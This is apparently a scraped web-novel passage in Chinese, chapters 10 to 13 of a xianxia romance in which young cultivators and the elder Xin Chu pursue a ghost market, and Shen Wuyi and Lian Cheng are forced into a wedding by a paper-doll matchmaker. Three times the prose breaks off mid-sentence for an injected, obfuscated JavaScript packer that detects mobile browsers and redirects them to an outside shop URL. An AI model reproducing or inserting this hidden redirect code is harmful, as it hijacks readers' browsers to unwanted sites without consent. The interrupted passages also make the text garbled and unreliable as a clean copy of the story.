穆仪枫将昏迷不醒的家丁们丢在地上:“把他们扛回来,可累死我了。” “师兄,人都在这里了。”陆朝阳将少女扶坐在墙边:“这女子还没醒,我们不知道她家人在哪,只能先带过来了。” 沈无一点了点头:“只能等她醒了,再把她送回家了。” 这时,后方的小径忽然亮起几道火光,伴随着一阵呵斥:“谁在那里?!” 众人皆回过头,穆仪枫扶额:“怎么还是把守卫惊动了。” 巡夜的守卫看到可疑的人影,还以为是夜闯城主府的飞贼,一路追了过来,大喊道:“你们是什么人?等等……城主!” 举着武器的守卫们一眼看到了倒在地上的城主,顿时停住了脚步,犹豫不前,他们第一反应去找城主的心腹刘管事想办法,却发现刘管事也鼻青脸肿地被人提在手里,正是白日里才见过的几位修士。 “!” 这是怎么回事?这几位修士不是来帮他们除怪的吗? “你们要做什么?”他们戒备地问道。 沈无一拉着连城让开一步,摊开手示意他们自己看:“我们还想问问你们城主要做什么呢?” 守卫们朝他身后定睛一看,顿时大惊失色,只见打开的内院大门里摆满横七竖八的棺材,极为阴森诡异,更恐怖的是,棺材中间还站着三个面色青白的厉鬼! “夫人,老爷?!!” 前城主和夫人小姐不是早就去世了吗?!怎么会出现在这里?还是这副模样! 守卫们认出三人身份,观其形其状,两眼一翻倒在了地上,竟是生生吓晕过去了。 陆朝阳嘀咕:“胆子好小。” “……” 辛楚摇了一下手中铃铛,三个僵尸便自觉地躺回了棺内。 穆仪枫乍见一个冷艳不可方物的美人,顿时目露惊艳,赶紧捣了捣沈无一的手臂,悄声问道:“这位仙子是谁?生的好生美丽!” 沈无一闻言,默默抽了抽嘴角。 穆仪枫此人,唯一有一点不好,就是行事太过风流,看到谁家的貌美仙子都要上前去搭讪两句,因此搞出过不少不堪回首的事故。 沈无一刚准备回答,陆朝阳便先认出了辛楚,对着她俯身行礼,恭恭敬敬地唤了一声:“弟子陆朝阳,见过敬真长老。” 辛楚淡淡地扫过一群人,点头应了一声。 穆仪枫听闻此名,心中大惊,目光看向沈无一:别是那个观雪峰的敬真长老吧? 沈无一看回去:不然呢? 敬真长老美貌闻名遐迩,但比她的美貌更出名的是她狠辣果决的行事作风,一条白骨长鞭让无数人闻风丧胆,更别提那诡谲的控虫御尸之术了。 总而言之,是一个带毒的美人,还是剧毒。 穆仪枫默默将手中刚打开的折扇收了回去。 许旸之已经昏死过去,也问不出什么,辛楚便问刘管事:“你们城主为何要杀害芳龄少女?” 刘管事看见那三具僵尸的时候就已经吓得面无人色,现在更是话都说不清了:“我、我也只是为城主办事啊!城主生了怪病,身体上长了好多浓疮疙瘩,只有找到命格属阴、年岁十八左右的女子向一个神秘人换药,才能勉强遏制。我们没杀任何人啊!是、是那个人杀了她们!” 命格属阴?沈无一让连城把之前管事给的名录给他看一眼,这份名录果然是经过处理的,所以之前才会看上去毫无规律。但细看还是会发现,命格属阴的女子确实不在少数,竟足足有十八个,说不准还有未在其中的,皆是未曾婚配的闺中少女。 这些少女人生还未真正开始便如昙花般凋落,属实可恨! 他将名录丢在刘管事面前:“说的真好听,好像不是你们抓的人一样?” 若非人证物证俱在,他们主仆怕是死也不会承认,还会倒打一耙。 刘管事抱着头念叨:“不关我的事、我也只是听命于城主……” 陆朝阳怒道:“岂不也是为虎作伥?!” 辛楚示意他们稍安勿躁,继续问:“给你们药的人是谁?平时如何联络?” 刘管事拼命摇头,涕泗横流道:“我只知道城主称那位为‘鬼主’,但我们只能单向联系对方,每次都是我们将人送到特定的地方,药隔日就会被放到城中当铺,需要我们自己去拿。今天是城主的病又严重了,便让小的去找人……” 听到“鬼主”二字,辛楚的表情霎时变得严肃起来,她厉声追问:“你见过鬼主?是何模样?他需要这些少女做什么?” 刘管事说:“我只见过一面,鬼主穿着一身黑色的长袍看不清楚面容,嗓音也经过了处理,但从身形上来看应该是一个身高九尺的男人……至于他为什么要这些少女,我就真的不知道了啊!” 辛楚双手环胸,陷入沉思。 沈无一终于找到机会发问:“鬼市到底是个什么地方?鬼主又是谁?” “鬼市是个神秘莫测的地方,自称只要出的起价,就可以在这里买到任何奇珍异宝,达成任何愿望,”辛楚开口解释说:“至于‘鬼主’,便是鬼市的主人。” 众人皆点了点头,穆仪枫说:“听起倒是个难得的好地方啊!” “鬼市的确能在某种意义上帮你达成心愿,但与鬼市交易的人都不会有什么好结果。”辛楚说:“它凭空出现、邪异万分,似乎还与魔族有牵连,早就被仙门注意。但鬼市行踪莫测,我派出查探的弟子们都有去无回,最后一位弟子在失踪前给我发了密信求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006053|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救,我来也是为了找到她们。” 沈无一心想,这位敬真长老看上去虽不好亲近,但面对他们这帮初出茅庐的小修士,说话也不会含糊其辞拐弯抹角。 辛楚没有废话,很快又道:“我知道一个突破口可以进入鬼市。本来我打算先回悬眼山禀告帝君再做定夺,但时间拖得越久,失踪弟子们的处境便越不可控,既然巧遇诸位小友,似乎可以先试一试。诸位可有异议?” 沈无一、陆朝阳和穆仪枫都觉得没有问题。辛楚目光划了一圈,落在连城身上,又问了一遍:“连小友,认为如何?” 连城似是衡量片刻,而后点头道:“可以一试。” 辛楚便继续说:“鬼市中人大都不会离开鬼市,因此无从追查,但有一位‘鬼媒人’,喜爱出市寻乐,此人有一怪癖,喜爱强拉红线,给人婚配,不论死活。只要她认为相配,就会强行让人拜堂,若一方是死人,鬼媒人便会另一方活埋合葬。” 穆仪枫用玉笛敲了敲手心,评价道:“好怪的人,这是行事无常,全凭喜好啊。这我们要怎么接触?被她选中去拜堂?” 辛楚道:“这倒不必,待鬼媒人选好新娘之后,我们潜入婚轿即可。但也不排除被鬼媒人看中的可能,如果你们的愿意,我们也可以试试?” “??!” 这下一群小辈你看看我我看看你,都满面惊慌。 “不不不。”陆朝阳连连摆手:“还是不要出现这种情况为好。”谁知道跟自己拜堂的会是什么东西? “鬼市变化莫测,不知深浅,不可硬闯,”辛楚说:“只有此法较为稳妥。今日鬼媒人就会出市寻找可婚配之人,是我们的机会。错过此时不止下次是何时了。不过也不用担心,失败了,再另寻他法就是了。” 众人都明显地紧张起来,这还是他们第一次执行难度如此大的任务。沈无一朝旁边看过去,一片紧张的气氛中,连城却还是一如既往地沉稳淡定,感受到沈无一的目光,朝他投来一个询问的视线。 沈无一目光在他挑不出毛病的俊朗面孔上游走一番,不知道想到什么,吃吃怪笑道:“若是第二种方法,以连道友的样貌定会被选中,鬼媒人怎么说也会给你配个美人吧?肯定不用担心。” “……又胡言乱语。”连城望着他,似是有些无奈:“若是如此,你也逃不开。” 沈无一只当他是在变相地夸自己:“哈哈,谢谢,谢谢。” 听到这段对话,辛楚呛咳了一下,用一种怪异的目光地看向沈无一,又看向连城。 “你们俩怎么还说的挺来劲?”穆仪枫说完,又忍不住问:“那我呢?该配个怎样的娘子?” 沈无一上上下下打量他,穆仪枫下意识地挺直腰杆,抬起下巴,便听见他说:“那必然要配一个身高九尺、身材魁梧、泼辣如火的美娇娘,若发现你勾搭别家姑娘,便一巴掌给你打的下不来床。” “噗!”陆朝阳没憋住笑出眼泪:“哈哈哈哈哈哈!” 就连连城眼里也露出了一丝淡淡的笑意。 穆仪枫恼羞成怒地跳脚:“喂!!!” 辛楚扶额,摇了摇头。 11. 第十一章 他们说话期间,无辜的女子也悠悠转醒,她想起昏迷前的事,记得自己被刘管事打晕带走,现在却不知身在何处,顿时目露惊恐:“你们是谁?这是哪里?” “姑娘别怕,我们是路过的修士。”穆仪枫上前,踢了一脚刘管事后微微一笑:“是我们救了你,因你昏倒未醒,我们才将你带到此处,现在你已经醒了,需要我们送你回家吗?” 女子警惕地望着面前的几个人,只见他们都穿衣着简练,腰上别着佩剑,尤其是中间一黑一白两个男子,气质端方,容貌俊美,简直恍若仙人,怎么看也不像坏人。 她心里的警惕放下些许,劫后余生的恐慌一股脑地涌了上来:“我没想到城主竟然会做出这种事情,那之前失踪的那些女子……” 沈无一点头道:“没错,也是他干的。” 女子胸口上下起伏,忍不住哭泣道:“城中人都很尊重城主,可是他为什么、为什么……” “人不可貌相啊。”沈无一叹了口气,笑着宽慰道:“有时候你看到的,未必是真的。也不用觉得自己识人不清啦。” 女子的哽咽声停顿了一下,朝他看去。这位白衣的公子虽长的仙气飘飘不染凡尘,说起话来却意外的很接地气,情不自禁地点了点头。 女子说可以自己回家,但穆仪枫还是将她送到了门口,才回去和其他人会和。 此时晨光熹微,街道上传来更夫打敲五更的声音,辛楚说:“事不宜迟,我们出发吧。” 沈无一看着倒了一地的人,和假装自己不存在的刘管事,问道:“那府邸里的这些人该怎么办?还有这个百棺阵。” 辛楚衡量片刻,上前一步在围墙上用力一击,围墙便倒塌了一半。她信步走进去,将其中一个陪葬木棺击碎,紧接着伸出食指在红棺上的咒文上改了一笔,下一秒,棺中三人的血肉便以肉眼可见的速度干枯下去,散成了一抔白骨。 “好快!”几人都睁大眼睛望着辛楚破阵,不愿意错过这天然的教学过程,心中都有些震撼。 这百棺阵如此庞大,辛楚却在几个瞬息之间就破了,金丹期和化神期的差距真的很大。不知道大乘期的帝君究竟是何等的强大啊。 沈无一自言自语:“击碎木棺是为何?咒文为何要如此改?” 连城听到他的嘀咕,转头看向他,开口道:“此木棺位于槐树正下方,相当于‘引线’,破除便能停止收纳阴气。红棺木是阵眼,上面的咒文只要改成逆向便可破除。不过,若非十分有把握,切勿轻易改动,稍有不慎就会遭到反噬。” 他讲的绝对是非常仔细易懂了,旁边的几人都连连点头,目露沉思,颇为受教。 沈无一追问道:“那若是直接击碎阵眼呢?” 连城没有一点不耐烦,回答道:“此阵阴气只进不出,郁积于此,咒文逆改便可使阴气自然消散,若是直接破除阵眼,便如同引爆炸药,整个城主府便都会毁于一旦。” 沈无一双眼锃亮,拍手道“原来如此”,然后忍不住勾住连城的肩膀,笑道:“连道友真是学识渊博啊!” 连城身体一僵,扭过头,无声地看着他。 沈无一被这眼神一盯,背后莫名汗毛一竖,下意识地放开他的肩膀。他意识到连城应该不太喜欢跟别人肢体接触,讪笑着举手道歉:“抱歉抱歉,不知道你不喜欢这样。” 连城沉默地垂了一下眼睛,尔后摇头,缓慢地说:“没有。” 沈无一只道是他给自己面子才这么说,接下来的行为都安分了许多。 “阵法已经破除,此三人的魂魄也解放了。”辛楚走出来,扫一眼地上横七竖八的人:“至于金鹿城自己的事,就让他们自己去解决吧。” 一行人便离开城主府。走了两步,沈无一忽然听见里面传来一阵兵荒马乱的动静,紧接着整个城主府都灯火通明起来,朝着内院的方向汇聚而去。 看来是已经发现内院的异常了。可以想见众人看到内院之中的场景时,内心该是如何震撼。 不过这也不是他们要操心的事儿了,让许旸之和刘管事自己处理这烂摊子吧,就是不知道许旸之还能不能醒过来。 …… 一行人沿街往前走。 辛楚让他们四处打听周围有没有什么比较突然的喜事,问了一圈,才从一个阿嫲那里打听到,金鹿城边缘的一个叫做“云来”的小镇,今日忽然有家姑娘要嫁人,嫁人嫁的毫无预兆,男方是谁也不知道。 不过终归是件喜事,几人去送了礼,那家人却闭门谢客不收礼,古怪的很。 十有八九就是这个了。 他们问了云来镇的方向,快速朝那边赶去。 到地方的时候天已经完全亮起来了。一到云来镇,他们就发现这里安静的可怕,没有一点新嫁人的热闹氛围,甚至都没有人气儿,家家大门紧闭。 “怎么搞的。”穆仪枫忍不住搓了搓胳膊,探头探脑地看了一圈:“怎么一点声音都没有啊?” 陆朝阳说:“太奇怪了,现在是白天,这个点大家都应该起床干活了吧,一日之计在于晨啊。” 连城拧眉道:“注意戒备。” 辛楚环顾了一圈,指着一户门前放着簸箕和筛子的人家说:“敲敲这家门看看。” 筛子里还放着晒干的稻谷,码的整整齐齐,簸箕是干净的。沈无一上前去敲门,其他人都站在他身后不远处凝神盯着附近的动静。 沈无一一只手敲门,一只手按在剑柄上:“你好,有人在吗?” 过了一会儿,门吱呀一声开了一条小缝,听到里面传来一道警惕的声音:“谁啊?” 话中有中气,应当是活人。沈无一说:“听闻镇中有喜事,我们特地来沾沾喜气,请问要结亲的是哪家啊?一路走来怎么都没人?” 那人听见喜事,脸色却忽地一变,声音急促起来,作出赶人的架势:“没有喜事!我们镇今天不接待外人!你们赶紧走吧!快走快走!”说着就“啪”地合上了门缝,任沈无一再怎么问,里面都没有动静了。 沈无一只好离开门边,跟其他几个人交流发现:“这户人家听见喜事就脸色大变,问不出来什么了。” 陆朝阳若有所思:“看来是有危险,他才会赶我们走。” 穆仪枫忍不住嘀咕:“这鬼媒人到底是什么路数啊?” 辛楚点头,果断地说:“既然问不出什么了,那便继续往前走吧。” 他们沿着路又往里面走了一段,忽然听见了一阵锣鼓喧天的声音,这声音响在寂静的镇子当中,莫名有种凄凄的诡异之感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006054|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。几人都惊起了一身鸡皮疙瘩。 陆朝阳“啪”地一声按住配剑,四处张望声音来源:“来、来了吗?!” 连城的目光停在左前方的位置,道:“那边。” 刚才还死气沉沉的小镇突然不知道从哪里冒出来许多人,变得热闹非常,穿着红色衣服的送亲队伍喜气洋洋地敲锣打鼓,周围还围着不少镇民在起哄欢笑。 热闹的诡异。 辛楚当机立断:“先后退,观察一下。” 几人谨慎地退至一片灌木丛后。 不一会儿,从屋里出来一个喜气洋洋的中年男人,扶着身着红嫁衣的新娘跟围观的人群说笑,然后扶着新娘进了屋前的轿子里。 沈无一盯着男人的笑脸,察觉到诡异的地方,这男人虽一直在笑,但嘴角的弧度一直都没有变过,像是画在脸上的一样。他朝其他人的脸上看过去,发现也都是这样。 穆仪枫忍不住搓了搓胳膊:“好诡异啊,哪里突然冒出来这么多人的。” “看来就是这里了。”辛楚说:“此行危险程度不明,先把此物给你们,可进行神识交流,也可作防御。” 她取出四枚耳钉交在四人手中:“我们想办法混进迎亲队伍和轿子里去。有什么事就神识交流,小心为上。” 她说完就率先敛去身上气息乔装打扮混进人群之中。其余几人对视一眼,戴好耳钉,也都跟了上去,那些人好像没发现他们,仍在兀自欢笑、敲锣打鼓,沉浸在一片喜悦的氛围中。 沈无一不小心撞到了一个人,却将对方的肩膀撞凹了进去。他悚然一惊,对方却像根本没有感觉一样,还在举高手臂拍手鼓掌。他脑中飞速转了一下,谨慎地凑近,发现这些人面上涂着一大坨胭脂,嘴角用黑色的墨线画着上翘的弧度,竟是一个个纸人! 这些纸人做的实在是惟妙惟肖,简直可以以假乱真,因此看着更渗人了。 这时辛楚的声音在脑海中响起:“周围都是纸人,切勿打草惊蛇。无一,你去轿子里看看。” 新娘的父亲还站在轿子边,脸上挂着欣慰的、一成不变的笑容。沈无一应了一声,矮身从另一头靠近轿子,用剑柄偷偷掀开帘子,新娘子盖着盖头,正端端正正地垂头坐在轿中。 沈无一想上前去探一探她的呼吸,刚动了一下,却感受周围忽然安静下来了。不知哪里响起模糊的窃窃私语的声音: “咦……”“这个更好……”“……相配……” 他感到不对,收回手想要撤退,下一秒却被一股强烈的眩晕感击中,等他睁开眼睛,就发现自己已经不在原来的位置上了。 他的眼前一片漆黑,透着朦胧的红光,好像是坐着的。 怎么回事?他在哪里? 沈无一心中顿时有点慌,他动了一下,眼前微晃,才发现自己的头上盖着一块布,他猛地将遮住视线的布扯了下来,攥在手中,低头一看,却见那是一块红盖头! 他身上穿着一件新嫁娘穿的喜服,正坐在方才新娘坐的位置上,身上联络的纸鸢也不见了,他赶紧摸了一下耳朵,还好耳钉还在,但他试图联系其他人,却没有反应。 正在此时,外面奏起一道响亮的唢呐声,一道尖细的嗓音嬉笑着说:“吉时已到,新娘已上轿,起轿嘞!” 12. 第十二章 沈无一意识到自己是代替原本的女孩成为新娘了! 简直离大谱,鬼媒人的眼神是不是出了什么问题,他一个好端端的男人为什么会被拖过来代替新娘? 这时轿身一动,被抬了起来,缓慢往前行去。 沈无一还没弄清楚现在是什么状况,当即拨开帘子往外看去,抬轿、送亲的皆是方才那些纸人,但他没有看到辛楚和其他人的身影。 难道他跟其他人不在一个空间了? 他心中快速闪过各种念头,一抬头,却忽然看见一个圆圆的纸人脸朝他伸了过来,黑漆漆的眼睛盯着他,脸颊上点着一颗媒人痣,嘴角是诡异的弧度。 它发出生硬尖锐的音调,一字一顿地说:“请、新娘、坐好,未见夫家,不要、摘下盖头。” 沈无一盯了她一会儿,默默地放下了帘子,将盖头重新盖在头上。 这圆脸纸人应当就是辛楚口中的“鬼媒人”,虽然不确定是不是真身。他现在联系不上其他人,也没有其他的办法,贸然动手只能适得其反,只能先静观其变了。 轿子前行地非常平稳,似乎是在一路笔直地往前走。沈无一拨弄着盖头下垂着的流苏,没想到最后还是拐到这条最凶险的计划上来了,也不知道等待他的会是什么。 不记得走了有多久,他只感觉有一瞬间,周围鸟虫的叫声、踩过草地的沙沙声全都消失不见了。沈无一猜测他应该已经进入了鬼市。 很快嘈杂的声音又重新出现在了沈无一耳畔。 周围似乎围了很多凑热闹的人,正在七嘴八舌地说话,听不出来是带着善意还是恶意:“嘻嘻,又有喜事咯!” “新娘子有没有哭?” “让我看看!让我看看,这次的新娘子好看吗?” “哎呀!新娘子探头啦!是个大美人呀!” 沈无一实在没忍住,又悄悄掀起一点帘子往外看去,没想到一有动作就被外面的人发现了。 “还好不是阴亲,不然可惜咯!” 这次鬼媒人更快地伸到了他眼前,用一张微笑不变的脸毛骨悚然地盯着他。 “我就是第一次嫁人,有点好奇、有点好奇……”沈无一挤出一个尴尬的微笑,然后在它的盯视下放下了帘子。 鬼媒人跳上了轿子,举高手臂,面带微笑,用一种高昂的语气说:“今天要结婚的是一对天造地设、珠联璧合的璧人!婚礼就在今日举办,欢迎大家前来观礼哟!” 外面一阵闹腾的声音。 沈无一百无聊赖地坐在轿子里,手指撑着脸,想:他到底要嫁给什么天造地设的鬼东西? 刚才他已经将外面的景象大致第扫了一遍,但鬼市里到处都是灰蒙蒙的,什么都看不真切,只能依稀看见挨着的房屋和熙熙攘攘的、奇形怪状的人,想要记住路线逃出去简直是难如登天。 整个鬼市都充满了一股诡异、荒诞、不受管束的混乱气息,说是群魔乱舞也不为过。 抬轿人重新抬着轿子往前走去。 又不知道走了多久,沈无一都开始有点犯困的时候,终于听到了抬轿人高喊道:“落轿——” 沈无一一下清醒了,轿子被稳稳地放在地上,鬼媒人声音欢快,抑扬顿挫地喊:“请新郎官扶新娘下轿——” 来了! 轿子外传来一阵不紧不慢的足音,沈无一全身戒备起来,他盖着盖头,只能从盖头下面的空隙中往外看,本以为会看见一双腐烂青黑的手,没想到伸进来的却是一只冷白的手。 那只手扶住轿帘,缓缓挑开。 沈无一的思绪不由自主被打断了一瞬,这只手骨节分明手指修长,十分好看,不知为何看着竟然十分熟悉。 新郎朝他伸出手。 沈无一盯着那只手,权衡片刻,将右手搭在了上面。 他在新郎的引导下走下了轿子。新郎官同样穿着红色的婚服,腰部束着黑色鞶革,辅以金饰,看起来劲瘦利落。 鬼媒人嘻嘻嘻嘻地笑起来,声音透着十足的愉悦,它拖长声音说:“请新人开始拜堂——” 沈无一听见这尖细的嗓音就烦得要死,虽然它对自己的名节也没有那么在乎,但也不想跟一个不认识的人在这里像闹着玩一样拜堂成亲。 他垂眸将脚下的那片地方环视了一圈,既然已经进来了,就没有必要把婚礼走完了吧? 他脚尖微微一动,作势要抽出腰间锻心,右手却忽然被握了一下,与此同时,他听见识海中传来一道熟悉的声音:此地颇多金丹期以上的修士,稍安勿躁,敬真长老已经在过来的路上了。 是连城的声音! 被选中代替新郎的人是他? 简直荒谬绝伦……沈无一终于理解了这个“强拉红线”的含义,也是,生死都不拘束了,性别又有什么好拘束的。 沈无一神识探知了一下,果然感受到了好几个元婴期修为的。他无奈地说:那我们怎么办?继续顺着鬼媒人拜堂?你不介意? “只是权宜之计,我并不介意此事。”连城停顿了一下,又道:“但若你不愿……” 或许是他们停留的时间有些太久,鬼媒人嘴角的弧度降下去一分,阴森森地重复了一遍:“请、新、人开始拜堂——” 随着它说话,周围的纸人也朝他们慢慢围过来,大有不听话就直接强制执行的意思。 沈无一想拖延时间,情急之下开口道:“等等,我只是有个问题想要问一下!” 鬼媒人一瞬不瞬地盯着他,想看穿他在打什么主意:“新娘有什么问题要问?” “我们就这样拜堂,总归还是有些稀里糊涂的,”沈无一掀起盖头说:“所以,我就是想问:你哪只眼……你有什么依据说我们相配呢?” “当然是因为你们命数相缠、不可分割。”鬼媒人幽幽地盯着他,嘴角忽地咧起,露出一个更大的笑容:“而且你们本也就心意相通,不是吗,只可惜情思苦涩难以开口,惘于人伦阴差阳错,令人唏嘘呀,我是在成全你们。” 听听这说的什么,编排的有模有样,真会无中生有。 沈无一抽了抽嘴角,暗自腹诽。他朝旁边看去,果然看见连城也轻皱着眉头。 他动了动唇,还想再说话,鬼媒人却不愿再回答了,它一挥手道:“好了,宾客都要等的不耐烦了,我们还是快点开始吧~” 紧接着,不待沈无一反应,他的身体就就不受控制地自己动了起来,盖头落下,视线再次归为黑暗。 他在鬼媒人的操控下握住连城的手往前走去,在“一拜天地”的喊声中,被强行摁着背弯下身去。 “???”沈无一:“这么简单粗暴的吗??” 连城的声音响起,简单干脆,却有让人安定的力量:你不愿意,我们直接杀出去。 沈无一沉默了一会儿,但最后还是叹了口气,说:“算了,我没关系。不能冲动,否则之前做的一切都功亏一篑了。” 他想他或许没有必要太在乎这件事,就像连城说的,只是权宜之计罢了。 但即便如此,他还是从舌根尝到了一股涩意,直往喉中渗去。 连城朝他看了一眼,应道:“嗯。” 紧接着他们转过身,面向高台,高台上放着两把椅子,坐着两个纸人。第二声喊响起:“二拜高堂—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“啊!!我的纸人!我扎了一周才扎完!”鬼媒人尖叫起来,脸上也变成了愤怒的表情,它及时用法宝护住自己才没让这具身体跟着一起湮灭。 “真是不知好歹!”它从地上爬起来,拍了拍手,阴冷的目光朝宾客席上的人看去,不客气地说:“喂!你们这帮酒虫,吃了酒,也要做做事了吧?” 宾客席上正坐着方才在轿子外看热闹的人,有妖怪、邪修,还有魔族人,见鬼媒人都发话了,便纷纷站起来,七嘴八舌地说:“符洛,你这回可是看走眼了吧?带回来这么麻烦两个家伙。” “有点本事啊,符洛扎的纸人全被毁掉了,连个渣都没留。” 一人不屑:“只是两个金丹期的小鬼罢了,再天赋不凡,咱们这么多人一起上还奈何不了吗?” “也是啊!” 达成共识,他们便举起武器一股脑朝沈无一和连城围了过来! 就在这时,熟悉的“叮铃、叮铃”的声音响起,辛楚脚尖落地,一条白骨长鞭以迅雷之势扫向围攻而来的人,顿时将他们抽的人仰马翻,“哎呦哎呦”叫成一团。 “靠,怎么敬真那个女人也来了?!” “早知道不来凑热闹了!” 沈无一辛楚就如同看到主心骨,如蒙大赦:“敬真长老,你们终于来了!” 陆朝阳气喘吁吁地说:“师兄,连道友,你们还好吗?” 沈无一回答:“说好也好,说不好也不好。”就是被迫拜了个堂。 穆仪枫看见沈无一和连城身上的喜服,顿时打通了关窍,眉飞色舞道:“搞了半天,你跟连兄这是代替新郎新娘来拜堂了啊!” 13. 第十三章 沈无一尴尬地看了一眼连城,一拳揍在穆仪枫脸上让他闭嘴,再次因为没有把穆仪枫嚎啕着大喊“洛神姐姐”的样子录下来而感到咬牙切齿。 辛楚动作一顿,先是看向二人身上的喜服,又在连城平静的脸上扫过——帝君看起来并不介意此事,也是,几十年前他亲自踏平魔域将其限制在赤渊时都未曾色变过,这样的小事对他自然是无足挂怀的。 只是不知他为何要让自己的分神来此,还隐瞒了身份。 但帝君这么做一定有自己的考量,她不会贸然揭穿。 有了辛楚坐镇,四人迅速地控制住了现场的所有人,这帮人大都是元婴期,面对化神期的威压都只能闭着眼睛装死。 鬼媒人想溜,被连城轻飘飘地拎着后脖子拽了回来。她被绑在供台上,拼命挣扎一阵,恨恨地盯着他们:“你们是怎么找到这里的?!” 刚巧沈无一也想知道这个问题,陆朝阳便把当时的情况从头到尾说了一遍。 辛楚让沈无一去探探轿子之后,发现沈无一一直没有回音。这时他们才发现沈无一和连城都不见了踪影,神识也联系不了。 辛楚目光如炬四下一扫,果断地停住了步伐,下了定论:“这些纸人已经变成障眼法了。” 陆朝阳和穆仪枫还没有来得及惊讶,辛楚就打了一个响指,眼前的画面迅速扭曲变形,他们明明已经跟着送亲队伍走出去了很远,一眨眼却发现他们根本就还在原位没有动过! 陆朝阳顿时有点慌了:“师兄他们呢?” “肯定在鬼媒人那里!”穆仪枫说:“但是我们现在要怎么追上去?” “不用着急。好歹是帝君和千机长老的弟子,遇事稍微冷静些。”辛楚一句话安抚两个急的上蹿下跳的小弟子,她闭目凝神感受了一下魂钉的方位,说:“这魂钉是我一手打造的,我可以感应到他们的大概方向。他们现在朝着西南方向去了。” 三人隐蔽身形和气息一路朝着西南方向追了过去,跟在其他人后面进入了鬼市。 不过他们没有第一时间去找沈无一和连城,而是趁着大部分人跑去参加婚宴的空档,乔装打扮在鬼市转了一圈。 陆朝阳还担心沈无一他们会有危险,想要先去汇合,但辛楚十分笃定地说:“不会有事。” …… 听完他的叙述,沈无一纳闷地想,为什么辛楚这么确信他们不会有危险? 连城没有丝毫诧异,语气平淡地问道:“你们在鬼市发现什么了吗?” 开口的是辛楚,她道:“鬼市外围汇聚了一些黑贩,看中它们的商品就可以直接交易,那些商品很多是滥竽充数的假货,不过并无危险性。真正的‘鬼市’应该是最中间的那座‘玉倾楼’,出入的皆是衣着华贵、非富即贵之人,那才是真正的销金窟,众人趋之若鹜实现愿望之地,鬼主一定就在那里。” “你们要去见鬼主?”听到他们的话,鬼媒人忽然开口。 她转了转眼珠,脸上露出一个甜蜜蜜的笑容,但配着那张有点花掉的纸人脸,充满了一股不怀好意的味道:“早说呀,我可以带你们过去哦!” “你想耍什么花样?”穆仪枫狐疑地盯着她。 “我打也打不过你们,能有什么花样呢?”鬼媒人露出一个可怜兮兮的表情:“玉倾楼有很复杂的机关阵法防守,只有拥有邀请函的人才能进去,否则就会陷入阵中无法脱身,我带你们进去的话就不用了哦~” “你会这么好心?”沈无一睨着它,对它的纸品没有一点信任。 “十有八九另有所图!”陆朝阳一口咬定。 “冤枉啊,我只是想让你们留我一命罢了,”鬼媒人哀戚地叹了口气,悲伤地仰着头:“我也没有做什么坏事啊,我只是想让每一对相配的情侣终成眷属罢了。” 辛楚双手环胸,慢条斯理地说:“包括将生人杀掉给死人陪葬吗?” 鬼媒人歪着脑袋,语气有种天真的残忍:“在天愿作比翼鸟,在地愿为连理枝。只要能在一起,生与死又有什么重要的呢!” 真不知道她是真如此想,还是只是喜欢操控折磨人取乐,沈无一想,这人自成逻辑,想法和手段都非常极端,跟她说太多也没用。 辛楚显然也是如此想,直接问道:“半月前进入鬼市的悬眼山修士是不是被你们扣押起来了?” “悬眼山的修士?”鬼媒人眨眨眼睛:“啊!好像确实来了几个。” 辛楚语气一肃:“她们现在在哪儿?” “当然是被关在玉倾楼的监牢里。”鬼媒人说:“怎么样,要不要我带你们去?” 辛楚沉默下来,目光锐利地看着她。鬼媒人绝不可信,尚且不知道她究竟有何目的,但营救那几位弟子的事情已经不能再耽搁。 片刻后,她有了主意:“可以,但为了以防万一,先送你一个小礼物。” “什么小礼物?”沈无一好奇地看了过去。 辛楚动了动嘴唇,无声地念了一段咒语,一只血红的蛊虫便顺着她的耳朵爬到了她的手指上。 看见这条蛊虫,穆仪枫和陆朝阳都大惊失色,他们都知道这只蛊虫虽然看起来小,但可怕程度却不亚于巨蟒。 沈无一反应则更为激烈,他一直很怕这种软体生物,一见就恶心的浑身发软,更别提这种红彤彤的蛊虫了。他几乎是飞着跳起来,一把撞在了身后的连城身上,惨叫道:“天!!” 连城扶住他,安抚道:“不必惊慌,它不会跳到你身上的。” “那也不妨碍我怕啊!!” 连城只好又往后退了一些,直到看不到蛊虫,才轻轻拍了拍他的后背:“好些了吗?” 沈无一发觉自己几乎挂在了连城身上,赶忙自觉地松开手,面如土色地抖动嘴唇:“……谢谢。” 辛楚哼笑着看了他一眼:“怕虫?那你可要好好练练胆。”然后对着蛊虫低声开口道:“去吧。” 受到命令,蛊虫便迅速地钻进了鬼媒人的耳朵里。速度快的几人都没有反应过来。 鬼媒人猛地感觉有什么东西钻进了自己的耳朵,顿时神色大变:“这是什么东西!快给我拿出来!” “这是噬心蛊,如果让我发现你有反水的举动,我就会催动蛊虫。”辛楚说:“你应该不会想知道蛊虫发作是什么滋味。” 鬼媒人瞪着她:“我只是个纸人!这对我没用!” 